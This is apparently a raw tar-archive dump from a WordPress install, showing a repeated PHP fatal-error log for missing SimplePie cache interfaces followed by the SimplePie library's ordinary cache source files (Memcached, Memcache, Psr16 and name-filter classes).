  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[04-Jan-2026 10:04:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[04-Jan-2026 10:04:34 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[04-Jan-2026 10:04:34 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[04-Jan-2026 10:04:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[04-Jan-2026 10:04:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[04-Jan-2026 10:14:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[04-Jan-2026 10:14:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[04-Jan-2026 10:14:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[04-Jan-2026 10:14:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[04-Jan-2026 10:14:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[04-Jan-2026 10:14:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[04-Jan-2026 10:14:28 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[04-Jan-2026 10:14:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[04-Jan-2026 10:14:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[06-Jan-2026 01:14:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[06-Jan-2026 01:14:24 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[06-Jan-2026 01:14:25 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[06-Jan-2026 01:14:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[06-Jan-2026 01:14:27 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[06-Jan-2026 01:14:28 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[06-Jan-2026 01:14:29 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[06-Jan-2026 01:14:30 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[06-Jan-2026 01:14:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[06-Jan-2026 01:27:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[06-Jan-2026 01:27:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[06-Jan-2026 01:27:40 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[06-Jan-2026 01:27:42 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[06-Jan-2026 01:27:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[06-Jan-2026 01:27:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[06-Jan-2026 01:27:48 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[06-Jan-2026 01:27:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[06-Jan-2026 01:27:51 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[06-Jan-2026 02:11:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[06-Jan-2026 02:12:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[06-Jan-2026 02:13:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[06-Jan-2026 02:17:26 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[06-Jan-2026 02:19:20 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[06-Jan-2026 02:22:29 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[06-Jan-2026 02:22:51 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[06-Jan-2026 02:27:15 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[06-Jan-2026 02:28:44 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[13-Jan-2026 23:46:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[13-Jan-2026 23:46:45 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[13-Jan-2026 23:46:47 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[13-Jan-2026 23:46:50 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[13-Jan-2026 23:46:52 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[13-Jan-2026 23:46:55 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[13-Jan-2026 23:46:57 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[13-Jan-2026 23:46:59 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[13-Jan-2026 23:47:02 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
[14-Jan-2026 00:07:31 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/BaseDataCache.php on line 17
[14-Jan-2026 00:07:32 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\NameFilter' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php:13
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/CallableNameFilter.php on line 13
[14-Jan-2026 00:07:33 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/DB.php on line 17
[14-Jan-2026 00:07:35 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php:15
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/File.php on line 15
[14-Jan-2026 00:07:36 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php:24
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcache.php on line 24
[14-Jan-2026 00:07:39 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Memcached.php on line 25
[14-Jan-2026 00:07:42 UTC] PHP Fatal error:  Uncaught Error: Class 'SimplePie\Cache\DB' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/MySQL.php on line 21
[14-Jan-2026 00:07:43 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\DataCache' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php:19
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Psr16.php on line 19
[14-Jan-2026 00:07:46 UTC] PHP Fatal error:  Uncaught Error: Interface 'SimplePie\Cache\Base' not found in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php:25
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/SimplePie/src/Cache/Redis.php on line 25
Cache/Memcached.php000064400000007365152222652070010144 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2015 Paul L. McNeely
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use Memcached as NativeMemcached;

/**
 * Caches data to memcached
 *
 * Registered for URLs with the "memcached" protocol
 *
 * For example, `memcached://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcached on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @uses       Memcached
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Memcached implements Base
{
    /**
     * NativeMemcached instance
     * @var NativeMemcached
     */
    protected $cache;

    /**
     * Options
     * @var array<string, mixed>
     */
    protected $options;

    /**
     * Cache name
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type)
    {
        $this->options = [
            'host'   => '127.0.0.1',
            'port'   => 11211,
            'extras' => [
                'timeout' => 3600, // one hour
                'prefix'  => 'simplepie_',
            ],
        ];
        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new NativeMemcached();
        $this->cache->addServer($this->options['host'], (int)$this->options['port']);
    }

    /**
     * Save data to the cache
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }

        return $this->setData(serialize($data));
    }

    /**
     * Retrieve the data saved to the cache
     * @return array<mixed>|false Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     * @return int Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name . '_mtime');
        return (int) $data;
    }

    /**
     * Set the last modified time to the current time
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);
        return $this->setData($data);
    }

    /**
     * Remove the cache
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->delete($this->name, 0);
    }

    /**
     * Set the last modified time and data to NativeMemcached
     * @param string|false $data
     * @return bool Success status
     */
    private function setData($data): bool
    {
        if ($data !== false) {
            $this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']);
            return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']);
        }

        return false;
    }
}

class_alias('SimplePie\Cache\Memcached', 'SimplePie_Cache_Memcached');
Cache/CallableNameFilter.php000064400000002756152222652070011743 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Creating a cache filename with callables
 */
final class CallableNameFilter implements NameFilter
{
    /**
     * @var callable(string): string
     */
    private $callable;

    /**
     * @param callable(string): string $callable
     */
    public function __construct(callable $callable)
    {
        $this->callable = $callable;
    }

    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likely an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string
    {
        return call_user_func($this->callable, $name);
    }
}
Cache/Memcache.php000064400000007200152222652070007764 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use Memcache as NativeMemcache;

/**
 * Caches data to memcache
 *
 * Registered for URLs with the "memcache" protocol
 *
 * For example, `memcache://localhost:11211/?timeout=3600&prefix=sp_` will
 * connect to memcache on `localhost` on port 11211. All tables will be
 * prefixed with `sp_` and data will expire after 3600 seconds
 *
 * @uses Memcache
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
class Memcache implements Base
{
    /**
     * Memcache instance
     *
     * @var NativeMemcache
     */
    protected $cache;

    /**
     * Options
     *
     * @var array<string, mixed>
     */
    protected $options;

    /**
     * Cache name
     *
     * @var string
     */
    protected $name;

    /**
     * Create a new cache object
     *
     * @param string $location Location string (from SimplePie::$cache_location)
     * @param string $name Unique ID for the cache
     * @param Base::TYPE_FEED|Base::TYPE_IMAGE $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
     */
    public function __construct(string $location, string $name, $type)
    {
        $this->options = [
            'host' => '127.0.0.1',
            'port' => 11211,
            'extras' => [
                'timeout' => 3600, // one hour
                'prefix' => 'simplepie_',
            ],
        ];
        $this->options = array_replace_recursive($this->options, \SimplePie\Cache::parse_URL($location));

        $this->name = $this->options['extras']['prefix'] . md5("$name:$type");

        $this->cache = new NativeMemcache();
        $this->cache->addServer($this->options['host'], (int) $this->options['port']);
    }

    /**
     * Save data to the cache
     *
     * @param array<mixed>|\SimplePie\SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
     * @return bool Successfulness
     */
    public function save($data)
    {
        if ($data instanceof \SimplePie\SimplePie) {
            $data = $data->data;
        }
        return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
    }

    /**
     * Retrieve the data saved to the cache
     *
     * @return array<mixed>|false Data for SimplePie::$data
     */
    public function load()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return unserialize($data);
        }
        return false;
    }

    /**
     * Retrieve the last modified time for the cache
     *
     * @return int|false Timestamp
     */
    public function mtime()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            // essentially ignore the mtime because Memcache expires on its own
            return time();
        }

        return false;
    }

    /**
     * Set the last modified time to the current time
     *
     * @return bool Success status
     */
    public function touch()
    {
        $data = $this->cache->get($this->name);

        if ($data !== false) {
            return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
        }

        return false;
    }

    /**
     * Remove the cache
     *
     * @return bool Success status
     */
    public function unlink()
    {
        return $this->cache->delete($this->name, 0);
    }
}

class_alias('SimplePie\Cache\Memcache', 'SimplePie_Cache_Memcache');
Cache/Psr16.php000064400000006270152222652070007203 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

use Psr\SimpleCache\CacheInterface;
use Psr\SimpleCache\InvalidArgumentException;
use Throwable;

/**
 * Caches data into a PSR-16 cache implementation
 *
 * @internal
 */
final class Psr16 implements DataCache
{
    /**
     * PSR-16 cache implementation
     *
     * @var CacheInterface
     */
    private $cache;

    /**
     * PSR-16 cache implementation
     *
     * @param CacheInterface $cache
     */
    public function __construct(CacheInterface $cache)
    {
        $this->cache = $cache;
    }

    /**
     * Fetches a value from the cache.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::get()
     * <code>
     * public function get(string $key, mixed $default = null): mixed;
     * </code>
     *
     * @param string $key     The unique key of this item in the cache.
     * @param mixed  $default Default value to return if the key does not exist.
     *
     * @return array|mixed The value of the item from the cache, or $default in case of cache miss.
     *
     * @throws InvalidArgumentException&Throwable
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function get_data(string $key, $default = null)
    {
        $data = $this->cache->get($key, $default);

        if (!is_array($data) || $data === $default) {
            return $default;
        }

        return $data;
    }

    /**
     * Persists data in the cache, uniquely referenced by a key with an optional expiration TTL time.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::set()
     * <code>
     * public function set(string $key, mixed $value, null|int|\DateInterval $ttl = null): bool;
     * </code>
     *
     * @param string   $key   The key of the item to store.
     * @param array<mixed> $value The value of the item to store, must be serializable.
     * @param null|int $ttl   Optional. The TTL value of this item. If no value is sent and
     *                                      the driver supports TTL then the library may set a default value
     *                                      for it or let the driver take care of that.
     *
     * @return bool True on success and false on failure.
     *
     * @throws InvalidArgumentException&Throwable
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function set_data(string $key, array $value, ?int $ttl = null): bool
    {
        return $this->cache->set($key, $value, $ttl);
    }

    /**
     * Delete an item from the cache by its unique key.
     *
     * Equivalent to \Psr\SimpleCache\CacheInterface::delete()
     * <code>
     * public function delete(string $key): bool;
     * </code>
     *
     * @param string $key The unique cache key of the item to delete.
     *
     * @return bool True if the item was successfully removed. False if there was an error.
     *
     * @throws InvalidArgumentException&Throwable
     *   MUST be thrown if the $key string is not a legal value.
     */
    public function delete_data(string $key): bool
    {
        return $this->cache->delete($key);
    }
}
Cache/.htaccess000064400000000000152222652070007336 0ustar00Cache/NameFilter.php000064400000002227152222652070010314 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie\Cache;

/**
 * Interface for creating a cache filename
 */
interface NameFilter
{
    /**
     * Method to create cache filename with.
     *
     * The returning name MUST follow the rules for keys in PSR-16.
     *
     * @link https://www.php-fig.org/psr/psr-16/
     *
     * The returning name MUST be a string of at least one character
     * that uniquely identifies a cached item, MUST only contain the
     * characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
     * and MUST not longer then 64 characters. The following characters
     * are reserved for future extensions and MUST NOT be used: {}()/\@:
     *
     * A provided implementing library MAY support additional characters
     * and encodings or longer lengths, but MUST support at least that
     * minimum.
     *
     * @param string $name The name for the cache will be most likely an url with query string
     *
     * @return string the new cache name
     */
    public function filter(string $name): string;
}
Cache/Redis.php000064400000010321152222652070007326 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2015 Jan Kozak <galvani78@gmail.com>
